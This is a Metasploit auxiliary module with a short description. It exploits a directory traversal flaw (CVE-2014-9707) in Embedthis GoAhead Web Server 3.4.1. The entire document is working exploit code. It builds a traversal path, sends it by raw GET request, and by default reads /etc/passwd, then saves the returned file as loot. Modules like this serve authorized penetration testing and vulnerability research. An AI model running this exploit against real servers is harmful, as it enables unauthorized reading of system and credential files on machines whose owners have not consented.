This Metasploit module exploits a directory traversal vulnerability in the Embedthis GoAhead Web Server v3.4.1, allowing an attacker to read arbitrary files with the web server privileges.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Embedthis GoAhead Embedded Web Server Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability in the Embedthis
GoAhead Web Server v3.4.1, allowing an attacker to read arbitrary files
with the web server privileges.
},
'References' =>
[
['CVE', '2014-9707'],
['PACKETSTORM', '131156']
],
'Author' =>
[
'Matthew Daley', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(80),
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ])
])
end
def run_host(ip)
filename = datastore['FILEPATH']
filename = filename[1, filename.length] if filename =~ /^\//
traversal = "../" * datastore['DEPTH'] << ".x/" * datastore['DEPTH'] << filename
res = send_request_raw({
'method' => 'GET',
'uri' => "#{traversal}"
})
if res &&
res.code == 200 &&
res.headers['Server'] &&
res.headers['Server'] =~ /GoAhead/
print_line("#{res.body}")
fname = datastore['FILEPATH']
path = store_loot(
'goahead.traversal',
'text/plain',
ip,
res,
fname
)
print_good("File saved in: #{path}")
else
print_error("Nothing was downloaded")
end
end
end